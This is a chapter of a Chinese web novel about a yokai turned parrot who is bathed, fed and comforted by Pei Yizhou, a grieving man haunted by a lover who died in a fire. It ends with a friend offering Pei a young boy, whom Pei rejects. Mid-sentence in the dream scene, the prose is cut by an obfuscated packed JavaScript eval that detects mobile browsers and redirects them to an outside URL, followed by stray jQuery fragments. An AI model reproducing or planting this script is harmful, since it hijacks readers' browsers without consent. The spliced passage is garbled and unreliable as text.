江与停的速度很快,也是裴一舟着实没有想到他会有这样的举动,所以都还没来得及捞他,他的小脑袋就直接进水里去了。
喝完之后江与停就抬起了头,他眨了眨眼睛,头顶上的毛湿漉漉的黏在了一起。
他不舒服的甩了甩脑袋,脑袋上的水珠就被他甩的四处都是。
“啾啾。”
【不好喝。】
裴一舟看着他这动作直接就勾唇笑了,他好像在他脸上看到了委屈的表情。
他抓着小鸟把他放在了水里。
“不是给你喝的,洗澡用的。”
江与停活了这么久,还是第一次用上这么大,这么舒服的洗澡池。
在此之前,他对洗澡这件事的认知,还停留在雨天里随便淋一淋,皮毛上沾点水就算干净的程度。
他是妖,是高高在上被无数小妖暗中仰望的存在,即便落魄到变成一只不起眼的小鸟,骨子里的骄傲也从未真正消失。
可当温热的水一点点漫上来,轻柔地包裹住他小小的身体时,他所有的矜持与骄傲,都在那一瞬间被彻底融化了。
水的温度刚刚好,不烫也不冷,那舒服的水温让他想到了自己家里睡觉用的真皮毛毯。
他试探性地扑腾了一下小翅膀,水里立刻溅起一串细小的水珠,那水珠在头顶暖黄的灯光下折射出细碎的光。
他从来不知道,原来被水这样温柔包裹着,是这样舒服的一件事。
“啾啾。”
一声清脆又满足的鸣叫声从他喉咙里轻轻滚出来。
【原来是这样洗澡的啊……人类也太会享受了吧,舒服,真的太舒服了。】
他在水里自由自在地游来游去,一会儿把小脑袋埋进水里,一会儿又猛地仰起来,黑亮的眼睛滴溜溜地转,他对眼前的一切都充满了新奇。
他的翅膀拍打在水面上发出轻微的哗啦声,小小的身子在水里浮浮沉沉。
他一整个都直接玩嗨了,以前的时候他其实很讨厌水的,但是它没有想到人类洗澡用的东西会这么舒服。
裴一舟就蹲在池子边,安安静静地看着他,他实在不知道就是一盆子水怎么会玩的这么嗨的。
男人的身形清瘦,侧脸线条干净利落,灯光落在他长长的睫毛上投下一小片淡淡的阴影,那双漂亮的眼睛此刻看起来也有了那么一丝温度。
他动作很轻,指尖微微弯曲,一点一点的撩起水花,耐心十足地帮江与停清洗羽毛上沾到的灰尘与污渍。
他的手指修长,干净,骨节分明,力道却控制得极好,每一下都轻柔得像是怕碰碎了什么易碎的珍宝。
江与停一开始还有些紧张,小小的身子微微紧绷,可随着那温柔的触碰一点点蔓延全身,再加上温水带来的舒适感,他整只鸟都渐渐放松下来,甚至舒服得快要眯起眼睛。
他甚至主动往裴一舟的指尖凑了凑,像是在撒娇,又像是在依赖。
“啾啾。”
【人,你真好。】
裴一舟看着怀里这只小小的,软乎乎的鸟,眼底深处那层常年不散的淡漠在此时悄然裂开了一道细微的缝隙。
在他的指尖处仿佛还感觉到了软软的触感。
他以前从来没有养过任何的宠物,只养过一个像是小动物一样的人。
受惊了会眨着大大的眼睛,开心了会眼睛弯弯的找他撒娇。
他这些年把自己全力的放在工作中,习惯了独来独往,习惯了沉默,习惯了把所有情绪都藏在心底最深处。
他的世界一向冷清,安静得只剩下自己的呼吸与心跳。
可自从这只莫名其妙出现在他身边的小鸟到来之后,一切都在悄无声息地发生改变。
屋子里多了声音,多了动静,多了一团毛茸茸的温度。
多了一点……他从未奢望过的热闹。
等江与停身上的污渍彻底清洗干净,裴一舟才小心翼翼地将他从水里抱起来。
小鸟浑身湿漉漉的,羽毛紧紧贴在身上,看上去小小的一团,可怜又可爱。
他看着他的眼神,仿若又看到了那个已经去世的少年。
裴一舟摇了摇头。
“不会的,不会是他的。”
他拿过提前准备好的柔软干毛巾,轻轻将江与停裹住,一点点吸干多余的水分,动作温柔得不像话,就像是手下的是那个人一样。
做完这一切他拿起吹风机,调至最低的温度与最小的风力,避免热风伤到小鸟脆弱的羽毛。
暖风轻轻拂过羽毛的触感,酥酥麻麻,又轻又暖。
江与停舒服得浑身轻轻一颤,小小的脑袋不自觉地往裴一舟的掌心蹭了蹭。
原本湿漉漉沉甸甸的羽毛,在暖风的吹拂下一点点蓬松起来,重新变得柔软轻盈又干净。
等吹风机停下的那一刻,他只觉得整个鸟身子都轻了不少,像是被抽走了所有沉重与疲惫,连翅膀都变得格外有力。
下一秒,他猛地扑棱一下翅膀,直接从裴一舟的掌心飞了起来。
轻飘飘的,稳稳的,速度比之前快了不止一点,那感觉舒服的江与停直接站在门框上唱了一首歌。
他在空旷的客厅里畅快地飞行,左转一圈,右转一圈,时而低空掠过地面擦着地板轻盈飞过,时而猛地向上冲起几乎要碰到天花板。
屋子里东西少,反倒成了最方便的事,他可以毫无顾忌地横冲直撞,不用担心撞到什么坚硬的家具,也不用小心翼翼地缩着翅膀,生怕一不小心就弄伤自己。
裴一舟忽略了这只鸟发疯的举动,他去搜过,这个种类的鹦鹉就是动不动会有些发疯的属性。
他收拾完东西之后就打开了电视机,他没有带助听器,当然也根本没有把任何的东西看进脑子里去。
他低头从抽屉里捞出一个药瓶子,打开之后倒了3粒药下来,然后仰头喝了下去。
他觉得最近吃药可能是吃出来抗体了,好像都没有什么用了。
江与停飞了好一会儿,直到翅膀微微发酸,他才意犹未尽地落在电视机顶上。
小爪子紧紧抓着电视机边缘,小小的身子站得笔直,歪着脑袋,好奇地打量着眼前这个方方正正会发光会发出声音的东西。
他以前在手机里见过电视,知道这个方盒子里会有人影走动,会有声音传出,可真正站在它面前,近距离盯着它看还是第一次。
屏幕里的人在说话,在笑,在走动,画面鲜活又生动,可江与停绕着电视机飞了整整一圈,上上下下、左左右右、前前后后都仔仔细细地检查了一遍,愣是没有找到任何能让人钻进去的口子。
没有门,没有洞,什么都没有。
可那些人,偏偏就像是真的待在里面一样。
太神奇了,太奇怪了。
他看了半天一时没有忍住,直接一头冲着电视机撞了进去,结果就那么华丽丽的滑落了下去。
他以前开直播的时候,也想不明白自己是怎么钻进电脑里,让那么多素未谋面的人看见自己一样。
人类的东西,总是这样让鸟摸不着头脑。
他小小的脑袋瓜里转了半天,怎么也想不通这其中的道理,只好悻悻地放弃研究,转头去找裴一舟。
可身后空空荡荡,早已没了人影。
江与停愣了一下,小小的身子僵在电视机顶上。
那双黑亮的眼睛转了转,目光下意识地投向裴一舟的卧室。
裴一舟的房门没有关严,留着一条细细的,浅浅的缝。
微弱的暖光从门缝里透出来,在地板上投下一道细长的光痕,安静又温柔。
江与停通过这几天的观察就知道了裴一舟很不喜欢他进自己的卧室,以前睡觉,从来都是把房门关得严严实实,密不透风,像是要把整个世界都隔绝在外。
这好像是他第一次,睡觉的时候没有把门关得死死的。
像在无声地留一道门。
江与停站在原地,小脑袋微微歪着,安安静静地思考了几秒。
他是宠物,宠物就应该跟主人住在一起。
既然是宠物,那就要专心致志,认认真真,尽职尽责地演好一只合格的宠物。
要黏人,要亲近,要懂得依赖主人,好像宠物都是这样的。
这么一想,他立刻扇动翅膀,轻盈地飞到门边,小小的身子顺着那条不算宽的门缝,一点一点、小心翼翼地挤了进去。
他回头崩的一声关上了门,反正他也听不到,无论多大的动静对于他来说都无所谓。
卧室里静极了。
安静得都可以听见窗外微弱的风声,也能听到那一声一声平稳、细微的呼吸声。
江与停飞进来,轻轻落在床边的窗帘杆上。
他今天醒来的时候,就是在这个房间,可那时候意识模糊,浑身酸痛,根本没来得及仔细打量,此刻静下心来,一点点看过去,他才发现,裴一舟的房间简单得不像话,简单到他两只爪子都能清清楚楚地数得过来。
一张床,一个床头柜,一把椅子,一张书桌,一盏台灯。
除此之外,几乎再也没有别的东西,不过令他意外的是墙上有很多奇怪涂鸦,像是小孩儿随手捣乱画的,反正不像裴一舟的风格。
没有多余的装饰,没有花哨的摆件,没有色彩鲜艳的挂画,没有柔软舒适的地毯,整个房间色调偏冷,干净、整洁,却也冷清得不像一个年轻人该有的房间。
这完全都鲜活是一个临时落脚的住所,而不是一个真正的“家”。
不过被他养的那一刻他就已经知道了。
穷就穷点,能吃饱就行。
裴一舟躺在床上,双眼轻闭,安安静静地睡着。
他生得极好,眉眼干净,鼻梁挺直,唇线清晰,下颌线条利落又柔和,灯光柔和地洒在他脸上,褪去了平日里几分冷淡疏离,多了几分难得的温顺。
江与停看着看着,莫名就想起了以前听其他小妖闲聊时讲过的那个睡美人的故事。
故事里的睡美人,沉睡在城堡里,等待着命中注定的人来唤醒,她一定长得很美很美。
而眼前的裴一舟,大概也就长这样吧,不过故事里的睡美人说不定还没有他好看。
只不过他发现了一个问题,也不知道为什么,即便睡着了,裴一舟看上去也一点都不开心。
裴一舟的眉心轻轻蹙着,形成一道浅浅的褶皱,像是被什么烦心事缠绕着,纠缠着,不肯放开,就连梦境都不肯给他片刻的安宁,他连睡着的时候,都要背负着那些沉重的东西。
江与停就那么安安静静地看着他。
从左边看到右边,从上边看到下边,看了好一会儿,小小的脑袋里似乎在认真挑选一个最佳位置。
他飞了这么久,也有点累了,他想找一个舒服的地方睡觉。
最终,他选定了一个在他看来最有安全感的位置。
他扇动翅膀,从高处轻轻落下,小小的身子在空中划出一道轻盈的弧线,稳稳地停在了裴一舟的脖子旁。
裴一舟的锁骨线条清晰,肩颈宽阔,皮肤微凉,却又带着淡淡的体温,他小小的身子一躺上去,刚好能安安稳稳地窝在那处柔软的颈窝,被轻轻包裹着。
像是找到了全世界最温暖的小窝。
江与停满足地蹭了蹭,柔软的羽毛轻轻扫过裴一舟的肌肤。
“啾啾。”
一声轻软又满足的鸣叫,在安静的卧室里轻轻响起。
【嗯……真舒服,妖生也不过如此了。】
画面像是被一只无形的手轻轻一转,场景悄然变换。
裴一舟坐在书桌前,安安静静地写着东西。
灯光落在他侧脸上,柔和了他平日里略显冷淡的轮廓,笔尖在纸上轻轻滑动,发出细微而规律的沙沙声,他神情专注,眉眼低垂,看上去认真又沉静。
旁边,一个漂亮得不像话的少年正趴在床上,百无聊赖地看着他。
少年光着脚,脚踝纤细,脚趾微微蜷着,皮肤白皙,像是上好的玉石,一双眼睛亮晶晶的,像盛着漫天星光,长而密的睫毛轻轻颤动,可爱又漂亮,任谁都忽略不掉。
他看了一会儿,实在觉得无聊,忍不住轻轻哼唧了一声。
一声,两声,三声……
声音越来越大,越来越明显,像是在刻意引起某人的注意。
裴一舟终于停下笔,低低地轻笑了一声,那笑声很轻,很淡,却带着几分不易察觉的温柔。
他缓缓回过头,目光落在少年身上。
“怎么了?”
少年的脚丫在空中随意地晃着,长长的睫毛垂下来,又猛地抬起,眼神无辜又可爱,带着一点小小的委屈。
“裴一舟,我好无聊,你陪我玩好不好。”
裴一舟看着他,眼底不自觉地染上一层浅淡的温柔。
他知道他不认识字,仅有的认识的那几个字还是他教的。
少年凑过来一点,手里还拿着手机,眨巴着眼睛望着他,语气天真又好奇:“你这是写的什么啊?我怎么一个字都不认识。”
裴一舟抬头,目光落在眼前这个漂亮又干净的少年身上,声音放得很轻,轻得几乎要融进灯光里:“只是一些无关紧要的东西。”
少年嘿嘿笑了笑,然后突然坐直了身体,那起笔写写画画了起来。
“你猜我写的什么东西。”
裴一舟低头看了一眼,鬼画符一个,他虽然不奢求他写字,但是这鬼画符也着实让他意外到了。
“看不出来。”
少年拿着笔敲在了他的脑袋上。
“笨,其实我也不知道这是什么,我瞎写的,嘿嘿,我重新给你写,你再看看。”
他低着脑袋,头发乌黑,那灯光好像要直接被吸进他的发旋里。
“你再看看。”
裴一舟低头看过去,虽然不是字,但是上面画着一幅画,他可以认出来上面的画。
“你写
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288239|198471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的是裴一舟。”
少年浅浅的笑了笑。
“你真聪明,那你也画一个我猜猜嘛。”
下一秒,仿佛是镜头的突然转换,场景从温馨的室内换到了室外。
火,一场超大的火,耳边全都是叫喊声,他冲进火场里找着他的身影,可是找不到,他一点都找不到。
他找不到他了,再也没有找到。
江与停窝在裴一舟颈窝,柔软的羽毛贴着温暖的肌肤,闻着对方身上淡淡的干净的气息,没一会儿就困意袭来,安安稳稳地睡了过去。
他小小的身子微微蜷缩着,呼吸均匀而轻浅。
只是他不知道他刚睡熟,原本闭着眼呼吸平稳的裴一舟却缓缓睁开了眼睛。
他没有动,没有转头,没有发出任何声音。
可不用看,不用摸,他也能清晰地感知到脖子旁那团小小的,毛茸茸的温度。
柔软,温热,真实,真实得不像梦。
最近这段日子,对裴一舟来说,睡眠从来都不是休息。
而是一场又一场残酷的凌迟,往昔有多么的美好,现实就有多么的残酷。
那些挥之不去的画面,那些沉重得让人喘不过气的记忆,那些无法言说的痛苦与孤独,总会在深夜里悄无声息地缠上他,勒得他几乎窒息。
他睡得不安稳,睡得不踏实,整夜整夜地被噩梦纠缠,醒来时,往往一身冷汗,心脏狂跳。
睡眠,对他而言,早已不是慰藉,而是另一种煎熬,可是他依旧想在睡梦中见到他,哪怕没次醒来的时候都要被重新凌迟一遍。
可今天不一样。
身边有一团小小的、温暖的东西靠着,安安静静,软软糯糯。
没有声音,没有打扰,只有平稳的呼吸,与淡淡的温度,虽然梦里依旧让他心惊,但是对比与他的从前,梦境已经是前所未有地平和,平和得让他舍不得醒过来,平和得让他甚至产生了一种错觉。
好像这样一直下去,也不错。
他沉默地躺了一会儿,感受着颈窝处那团小小的存在,心底某块坚硬冰冷的地方,正在一点点软化。
许久,他才小心翼翼极其轻缓地抬起手,将江与停轻轻挪到床边。
确保他安稳地躺着,不会掉下去,不会被压到,他才轻手轻脚地下了床。
脚步很轻几乎没有声音,他走到窗边抬手推开一点缝隙。
夜晚的风微凉,带着一点深夜的清寒,那风吹在脸上,稍微驱散了一点心底沉闷压抑的情绪。
他从口袋里摸出烟,指尖微微一顿,还是点燃了,他不喜欢抽烟,但是只有在自己坚持不下去的时候才会抽那么几次。
微弱的火光在黑暗中一闪而逝,他安静地站在窗前一口一口地抽着。
烟雾在夜色里轻轻散开,被风吹散,消失在无边的黑暗中。
他站了很久,久到窗外的天色都微微泛起一点淡淡的鱼肚白,久到指尖的烟燃到尽头,烫到指尖,他才终于掐灭烟,晚上的风很快就吹散了他身上的烟味,他这才转身走回床边。
床上,那只小鸟依旧睡得安稳,像是一无所知,无忧无虑,如果人可以一直这样就好了。
裴一舟站在床边,静静地看了他很久。
第二天早上。
天刚蒙蒙亮,窗外的天空呈现出一片淡淡的浅蓝。
江与停醒来的时候,身边已经空了,床上还残留着一点点淡淡的属于裴一舟的体温,可那个人,早已不在房间里。
他愣了愣,小小的身子在床上动了动,翅膀轻轻扑棱了一下。
“啾?”
【人呢?】
他有些迷茫地环顾四周,房间里还是老样子,安静,整洁,冷清,只不过没有裴一舟的身影,也没有他的声音,只有清晨微弱的光线。
江与停立刻扑棱一下翅膀,从床上飞了起来,径直朝着门外飞去。
客厅里,已经有了淡淡的食物香气。
桌子上,摆好了温热的早饭,一碗粥,一碟小菜,还有一小盆奶油小馒头。
他最喜欢吃奶油小馒头了,他迫不及待的飞到桌子上拿起一个小馒头,刚准备吃结果就看到了盆子下面有一个纸条。
那纸条好像裴一舟知道他会第一时间吃这个一样,特意放在这里的。
江与停不认识字。
长这么大,他几乎没怎么接触过人类的文字,那些横横竖竖的符号,在他眼里和乱七八糟的线条没什么区别。可这张纸条上的东西,他却偏偏看懂了。
因为那不是字。
是画。
简简单单几笔,画着一只歪歪扭扭的小鸟,旁边画着一碗饭,下面还有一个小小的,笨拙的笑脸。
裴一舟知道他看不懂字,所以,特意用画的。
江与停落在纸条旁边,小小的脑袋低着,盯着那张纸条看了好一会儿。
心里莫名有点软。
像是被什么东西轻轻戳了一下,酸酸的,暖暖的,有点陌生,却又并不讨厌。
“啾啾啾。”
【真的是太贴心了。】
他乖乖地飞到桌边,安安静静地吃着早饭。
裴一舟一进门,赵铭就立刻放下酒杯,站起身迎了上来。
他上下打量了裴一舟一眼,眉头轻轻皱起,语气里带着几分明显的担忧:“你是不是昨天又没好好睡觉?我看你这状态,差得不行,真该找点事情分散一下注意力了,比如……谈个恋爱什么的。”
裴一舟语气平淡,没有丝毫波澜,只不过声音依旧清冷:“不需要。”
“别这么冷淡啊。”
赵铭无奈地叹了口气,转身给他倒了一杯酒,推到他面前,“你出来散心,你家老爷子才把我扔在这里盯着你,下次你要是真跑去岛上当什么岛主,我是不是还得跟着你一起去开荒?”
裴一舟给了他一个眼神。
“不用。”
“行了行了,不逗你了。”
赵铭忽然神秘兮兮地凑近,刻意的压低声音,“我今天给你带了个礼物。”
裴一舟理解他,所以也并不期待他所谓的礼物,他也没有说话就那么静静的坐在那里喝着酒。
赵铭等了半天也没有等到他的回音,他憋了半天实在忍不住了。
“少爷,你不问问是什么吗?”
裴一舟这次才大发慈悲的问了一下他。
“什么?”
赵铭没有说话,而是贼兮兮的笑了笑,然后拍了拍手掌。
下一秒,屋内的门打开,从外面走进来一个年纪不大的小孩儿。
那小孩儿穿着干干净净的衣服,大眼睛,白皮肤,一身干净清爽的气息。
赵铭:“怎么样,知道你喜欢纯的,特意给你找的。”
说完之后又看向门口的少年,他勾了勾手指。
“过来啊,过来敬….。”
他话还没说完,裴一舟手里的杯子就重重的砸在了桌子上。